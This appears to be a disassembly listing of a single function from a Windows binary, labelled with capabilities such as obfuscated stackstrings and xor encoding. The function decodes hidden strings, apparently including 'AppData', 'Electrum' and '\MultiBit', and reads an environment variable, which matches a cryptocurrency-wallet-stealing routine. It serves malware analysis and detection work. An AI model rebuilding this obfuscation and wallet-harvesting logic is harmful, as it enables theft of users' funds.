Function at 0x40453a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
push 0x5b4
mov eax, 0x420f4e
call fcn.00420a4f
movaps xmm0, xmmword [0x402760]
xor ebx, ebx
movups xmmword [ebp - 0x474], xmm0
mov dword [ebp - 0x464], 0x78777d57
mov ecx, ebx
mov dword [ebp - 0x460], 0x73477169
mov dword [ebp - 0x45c], 0x6b6d6a72
mov byte [ebp - 0x458], bl
movsx eax, byte [ebp - 0x474]
and eax, 0x8000000f
jns 0x404592
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x473], al
inc ecx
cmp ecx, 0x1b
jb 0x40457f
lea eax, [ebp - 0x473]
mov byte [ebp - 0x458], bl
push eax
lea ecx, [ebp - 0x4bc]
call fcn.0040406a
mov dword [ebp - 4], ebx
xor ecx, ecx
push 0x25
pop ebx
mov al, bl
mov dword [ebp - 0x41b], 0x49757546
mov byte [ebp - 0x41c], al
mov dword [ebp - 0x417], 0x667966
movsx eax, al
and eax, 0x8000000f
jns 0x4045ea
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 7
jae 0x4045ff
mov al, byte [ebp - 0x41c]
jmp 0x4045db
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x414], 0
push eax
lea ecx, [ebp - 0x48c]
call fcn.0040406a
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x410]
cmp dword [ebp - 0x478], 0xf
lea eax, [ebp - 0x48c]
push 0x400
cmova eax, dword [ebp - 0x48c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x470]
test eax, eax
je 0x404656
lea eax, [ebp - 0x410]
push eax
jmp 0x40465b
push 0x401b6c
call fcn.0040406a
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 3
call fcn.0040400e
movaps xmm0, xmmword [0x402910]
xor ecx, ecx
movups xmmword [ebp - 0x424], xmm0
mov word [ebp - 0x414], 0x7c7d
mov byte [ebp - 0x412], 0
movsx eax, byte [ebp - 0x424]
and eax, 0x8000000f
jns 0x4046a2
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x423], al
inc ecx
cmp ecx, 0x11
jb 0x40468f
lea eax, [ebp - 0x423]
mov byte [ebp - 0x412], 0
push eax
lea ecx, [ebp - 0x280]
call fcn.0040406a
mov byte [ebp - 4], 4
mov al, 0x3f
mov dword [ebp - 0x41c], 0x747b543f
xor ecx, ecx
mov dword [ebp - 0x418], 0x84818372
mov word [ebp - 0x414], 0x7c
movsx eax, al
and eax, 0x8000000f
jns 0x4046fc
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x404711
mov al, byte [ebp - 0x41c]
jmp 0x4046ed
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x268]
call fcn.0040406a
mov byte [ebp - 4], 5
mov al, 3
mov dword [ebp - 0x41c], 0x78505f03
xor ecx, ecx
mov dword [ebp - 0x418], 0x456c776f
mov word [ebp - 0x414], 0x776c
mov byte [ebp - 0x412], 0
movsx eax, al
and eax, 0x8000000f
jns 0x404765
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 9
jae 0x40477a
mov al, byte [ebp - 0x41c]
jmp 0x404756
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x412], 0
push eax
lea ecx, [ebp - 0x250]
call fcn.0040406a
mov byte [ebp - 4], 6
mov al, 0x42
mov dword [ebp - 0x41c], 0x6e774f42
xor ecx, ecx
mov dword [ebp - 0x418], 0x6b446b76
mov word [ebp - 0x414], 0x76
movsx eax, al
and eax, 0x8000000f
jns 0x4047c7
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x4047dc
mov al, byte [ebp - 0x41c]
jmp 0x4047b8
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x238]
call fcn.0040406a
mov byte [ebp - 4], 7
mov al, 0x4a
mov dword [ebp - 0x41c], 0x7c4b664a
xor ecx, ecx
mov dword [ebp - 0x418], 0x837c7977
mov byte [ebp - 0x414], 0
movsx eax, al
and eax, 0x8000000f
jns 0x404827
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 7
jae 0x40483c
mov al, byte [ebp - 0x41c]
jmp 0x404818
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x414], 0
push eax
lea ecx, [ebp - 0x220]
call fcn.0040406a
mov byte [ebp - 4], 8
mov cl, 0x5f
mov dword [ebp - 0x41c], 0x322d1e5f
xor eax, eax
mov dword [ebp - 0x418], 0x262d30
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 6
jae 0x404886
mov cl, byte [ebp - 0x41c]
jmp 0x404871
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x415], 0
push eax
lea ecx, [ebp - 0x208]
call fcn.0040406a
mov byte [ebp - 4], 9
xor ecx, ecx
movaps xmm0, xmmword [0x402740]
movups xmmword [ebp - 0x428], xmm0
mov dword [ebp - 0x418], 0x4e5944
mov al, byte [ebp - 0x428]
xor byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 0x12
jb 0x4048bd
lea eax, [ebp - 0x427]
mov byte [ebp - 0x415], 0
push eax
lea ecx, [ebp - 0x1f0]
call fcn.0040406a
mov byte [ebp - 4], 0xa
mov al, 0x33
mov dword [ebp - 0x41c], 0x6b774833
xor ecx, ecx
mov dword [ebp - 0x418], 0x78687568
mov word [ebp - 0x414], 0x70
movsx eax, al
and eax, 0x8000000f
jns 0x40491d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x404932
mov al, byte [ebp - 0x41c]
jmp 0x40490e
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x1d8]
call fcn.0040406a
mov byte [ebp - 4], 0xb
mov cl, 0x31
mov dword [ebp - 0x41c], 0x48536d31
xor eax, eax
mov dword [ebp - 0x418], 0x5e525445
mov word [ebp - 0x414], 0x5f58
mov byte [ebp - 0x412], 0
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 9
jae 0x40498c
mov cl, byte [ebp - 0x41c]
jmp 0x404977
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x412], 0
push eax
lea ecx, [ebp - 0x1c0]
call fcn.0040406a
mov byte [ebp - 4], 0xc
mov al, 0x2f
mov dword [ebp - 0x41c], 0x8388512f
xor ecx, ecx
mov dword [ebp - 0x418], 0x787e7274
mov word [ebp - 0x414], 0x7d
movsx eax, al
and eax, 0x8000000f
jns 0x4049d9
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x4049ee
mov al, byte [ebp - 0x41c]
jmp 0x4049ca
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x1a8]
call fcn.0040406a
mov byte [ebp - 4], 0xd
xor ecx, ecx
movaps xmm0, xmmword [0x402b30]
movups xmmword [ebp - 0x428], xmm0
mov dword [ebp - 0x418], 0x72746e7f
mov byte [ebp - 0x414], 0
movsx eax, byte [ebp - 0x428]
and eax, 0x8000000f
jns 0x404a3f
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 0x13
jb 0x404a2c
lea eax, [ebp - 0x427]
mov byte [ebp - 0x414], 0
push eax
lea ecx, [ebp - 0x190]
call fcn.0040406a
mov byte [ebp - 4], 0xe
mov cl, 0x73
mov dword [ebp - 0x418], 0xb123973
xor eax, eax
mov word [ebp - 0x414], 0xb
xor byte [ebp + eax - 0x417], cl
inc eax
cmp eax, 4
jae 0x404a95
mov cl, byte [ebp - 0x418]
jmp 0x404a80
lea eax, [ebp - 0x417]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x178]
call fcn.0040406a
mov byte [ebp - 4], 0xf
movaps xmm0, xmmword [0x4021b0]
movups xmmword [ebp - 0x454], xmm0
mov byte [ebp - 0x434], bl
xor ebx, ebx
movaps xmm0, xmmword [0x4021f0]
mov ecx, ebx
movups xmmword [ebp - 0x444], xmm0
mov dword [ebp - 0x433], 0x1c0f1c15
mov dword [ebp - 0x42f], 0x1b1d15
mov al, byte [ebp - 0x454]
xor byte [ebp + ecx - 0x453], al
inc ecx
cmp ecx, 0x27
jb 0x404aec
lea eax, [ebp - 0x453]
mov byte [ebp - 0x42c], bl
push eax
lea ecx, [ebp - 0x160]
call fcn.0040406a
mov byte [ebp - 4], 0x10
mov cl, 0x71
mov dword [ebp - 0x420], 0x9103b71
mov eax, ebx
mov dword [ebp - 0x41c], 0x183d5109
mov dword [ebp - 0x418], 0x5031413
mov word [ebp - 0x414], 8
xor byte [ebp + eax - 0x41f], cl
inc eax
cmp eax, 0xc
jae 0x404b5b
mov cl, byte [ebp - 0x420]
jmp 0x404b46
lea eax, [ebp - 0x41f]
mov byte [ebp - 0x413], bl
push eax
lea ecx, [ebp - 0x148]
call fcn.0040406a
mov byte [ebp - 4], 0x11
mov al, 0x4c
mov dword [ebp - 0x41c], 0x806d684c
mov ecx, ebx
mov dword [ebp - 0x418], 0x6f75797b
mov byte [ebp - 0x414], bl
movsx eax, al
and eax, 0x8000000f
jns 0x404ba4
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 7
jae 0x404bb9
mov al, byte [ebp - 0x41c]
jmp 0x404b95
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x414], bl
push eax
lea ecx, [ebp - 0x130]
call fcn.0040406a
mov byte [ebp - 4], 0x12
mov al, 0x2b
mov dword [ebp - 0x41c], 0x7a7f6c2b
mov ecx, ebx
mov dword [ebp - 0x418], 0x6e7478
movsx eax, al
and eax, 0x8000000f
jns 0x404bfc
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 6
jae 0x404c11
mov al, byte [ebp - 0x41c]
jmp 0x404bed
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x415], bl
push eax
lea ecx, [ebp - 0x118]
call fcn.0040406a
mov byte [ebp - 4], 0x13
mov ecx, ebx
movaps xmm0, xmmword [0x402400]
movups xmmword [ebp - 0x428], xmm0
mov dword [ebp - 0x418], 0x75756a80
mov word [ebp - 0x414], 0x7d6e
mov byte [ebp - 0x412], bl
movsx eax, byte [ebp - 0x428]
and eax, 0x8000000f
jns 0x404c69
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 0x15
jb 0x404c56
lea eax, [ebp - 0x427]
mov byte [ebp - 0x412], bl
push eax
lea ecx, [ebp - 0x100]
call fcn.0040406a
mov byte [ebp - 4], 0x14
mov cl, 0x71
mov dword [ebp - 0x41c], 0x1e093471
mov eax, ebx
mov dword [ebp - 0x418], 0x20415
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 6
jae 0x404cbf
mov cl, byte [ebp - 0x41c]
jmp 0x404caa
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x415], bl
push eax
lea ecx, [ebp - 0xe8]
call fcn.0040406a
mov byte [ebp - 4], 0x15
mov al, 0x35
mov dword [ebp - 0x41c], 0x66496135
mov ecx, ebx
mov dword [ebp - 0x418], 0x74486d78
mov word [ebp - 0x414], 0x6a77
mov byte [ebp - 0x412], bl
movsx eax, al
and eax, 0x8000000f
jns 0x404d11
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 9
jae 0x404d26
mov al, byte [ebp - 0x41c]
jmp 0x404d02
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x412], bl
push eax
lea ecx, [ebp - 0xd0]
call fcn.0040406a
push 0x2c
mov byte [ebp - 4], 0x16
xor eax, eax
pop ebx
mov cl, bl
mov dword [ebp - 0x41b], 0x445f4d68
mov byte [ebp - 0x41c], cl
mov dword [ebp - 0x417], 0x495e436f
mov byte [ebp - 0x413], 0
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 8
jae 0x404d7f
mov cl, byte [ebp - 0x41c]
jmp 0x404d6a
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040406a
mov byte [ebp - 4], 0x17
xor ecx, ecx
movaps xmm0, xmmword [0x4020a0]
movups xmmword [ebp - 0x424], xmm0
mov word [ebp - 0x414], 6
mov al, byte [ebp - 0x424]
xor byte [ebp + ecx - 0x423], al
inc ecx
cmp ecx, 0x10
jb 0x404db5
lea eax, [ebp - 0x423]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040406a
mov byte [ebp - 4], 0x18
xor eax, eax
mov byte [ebp - 0x41c], bl
mov dword [ebp - 0x41b], 0x4f58456e
mov dword [ebp - 0x417], 0x424543
xor byte [ebp + eax - 0x41b], bl
inc eax
cmp eax, 7
jae 0x404e16
mov bl, byte [ebp - 0x41c]
jmp 0x404e01
lea eax, [ebp - 0x41b]
xor ebx, ebx
push eax
lea ecx, [ebp - 0x88]
mov byte [ebp - 0x414], bl
call fcn.0040406a
mov byte [ebp - 4], 0x19
mov ecx, ebx
movaps xmm0, xmmword [0x402580]
movups xmmword [ebp - 0x44c], xmm0
mov dword [ebp - 0x43c], 0x756c7073
mov dword [ebp - 0x438], 0x685e637b
mov dword [ebp - 0x434], 0x7b6c7373
mov word [ebp - 0x430], 0x7a
movsx eax, byte [ebp - 0x44c]
and eax, 0x8000000f
jns 0x404e7e
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x44b], al
inc ecx
cmp ecx, 0x1c
jb 0x404e6b
lea eax, [ebp - 0x44b]
mov byte [ebp - 0x42f], bl
push eax
lea ecx, [ebp - 0x70]
call fcn.0040406a
mov byte [ebp - 4], 0x1a
mov eax, ebx
push 0x25
pop ecx
mov byte [ebp - 0x41c], cl
mov dword [ebp - 0x41b], 0x44564472
mov word [ebp - 0x417], 0x4c47
mov byte [ebp - 0x415], bl
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 6
jae 0x404edd
mov cl, byte [ebp - 0x41c]
jmp 0x404ec8
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x415], bl
push eax
lea ecx, [ebp - 0x58]
call fcn.0040406a
mov byte [ebp - 4], 0x1b
mov ecx, ebx
movaps xmm0, xmmword [0x4029b0]
movups xmmword [ebp - 0x454], xmm0
mov dword [ebp - 0x434], 0x7d6c7363
movaps xmm0, xmmword [0x4028e0]
movups xmmword [ebp - 0x444], xmm0
mov dword [ebp - 0x430], 0x696b736c
mov byte [ebp - 0x42c], bl
movsx eax, byte [ebp - 0x454]
and eax, 0x8000000f
jns 0x404f41
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x453], al
inc ecx
cmp ecx, 0x27
jb 0x404f2e
lea eax, [ebp - 0x453]
mov byte [ebp - 0x42c], bl
push eax
lea ecx, [ebp - 0x40]
call fcn.0040406a
mov byte [ebp - 4], 0x1c
mov al, 0x65
mov dword [ebp - 0x41c], 0x6a664965
mov ecx, ebx
mov dword [ebp - 0x418], 0x7a716669
mov word [ebp - 0x414], 0x78
movsx eax, al
and eax, 0x8000000f
jns 0x404f97
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x404fac
mov al, byte [ebp - 0x41c]
jmp 0x404f88
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], bl
push eax
lea ecx, [ebp - 0x28]
call fcn.0040406a
xor eax, eax
mov byte [ebp - 4], 0x1d
mov ecx, 0x270
mov dword [ebp - 0x4c8], eax
lea ebx, [ebp - 0x280]
mov dword [ebp - 0x4c4], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x4c0], eax
call fcn.00404254
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], eax
lea esi, [eax + 0x270]
mov dword [ebp - 0x4c0], esi
lea esi, [ebp - 0x4c8]
mov dword [ebp - 0x418], esi
push esi
push eax
mov edx, edi
mov byte [ebp - 4], 0x1e
mov ecx, ebx
call fcn.0040550d
pop ecx
pop ecx
mov dword [ebp - 0x4c4], eax
push 0x4051ba
push 0xd
push 0x30
pop ebx
push ebx
lea eax, [ebp - 0x280]
mov byte [ebp - 4], 0x20
push eax
call fcn.0041fcd1
lea ecx, [ebp - 0x5c0]
call fcn.00404293
mov esi, dword [ebp - 0x4c8]
mov edi, dword [ebp - 0x4c4]
cmp esi, edi
je 0x405152
push esi
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0x48c]
call fcn.00405314
lea edx, [ebp - 0x4bc]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x444]
call fcn.00405391
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 0x22
push ecx
mov edx, eax
lea ecx, [ebp - 0x4a4]
call fcn.00405361
pop ecx
pop ecx
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x24
call fcn.0040400e
sub esp, 0x18
lea eax, [ebp - 0x48c]
mov ecx, esp
push eax
call fcn.004051dd
call fcn.0041b179
add esp, 0x18
test eax, eax
je 0x405122
cmp dword [ebp - 0x490], 0xf
lea eax, [ebp - 0x4a4]
mov edx, dword [ebp - 0x550]
cmova eax, dword [ebp - 0x4a4]
mov ecx, dword [ebp - 0x5c0]
push 0
push eax
call fcn.00406f1f
call eax
cmp dword [ebp - 0x490], 0xf
lea edx, [ebp - 0x4a4]
lea ecx, [ebp - 0x48c]
cmova edx, dword [ebp - 0x4a4]
cmp dword [ebp - 0x478], 0xf
cmova ecx, dword [ebp - 0x48c]
call fcn.0041af94
lea ecx, [ebp - 0x4a4]
call fcn.0040400e
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0x20
call fcn.0040400e
add esi, ebx
cmp esi, edi
jne 0x405061
mov edi, dword [ebp - 0x4c4]
mov esi, dword [ebp - 0x4c8]
test esi, esi
je 0x40519e
cmp esi, edi
je 0x405175
lea ecx, [esi + 0x18]
call fcn.0040400e
mov ecx, esi
call fcn.0040400e
add esi, ebx
cmp esi, edi
jne 0x40515a
mov esi, dword [ebp - 0x4c8]
mov eax, dword [ebp - 0x4c0]
mov ecx, esi
sub eax, esi
cdq
idiv ebx
imul edx, eax, 0x30
call fcn.004041fc
xor eax, eax
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], eax
lea ecx, [ebp - 0x470]
call fcn.0040400e
lea ecx, [ebp - 0x4bc]
call fcn.0040400e
call fcn.00420a0d
ret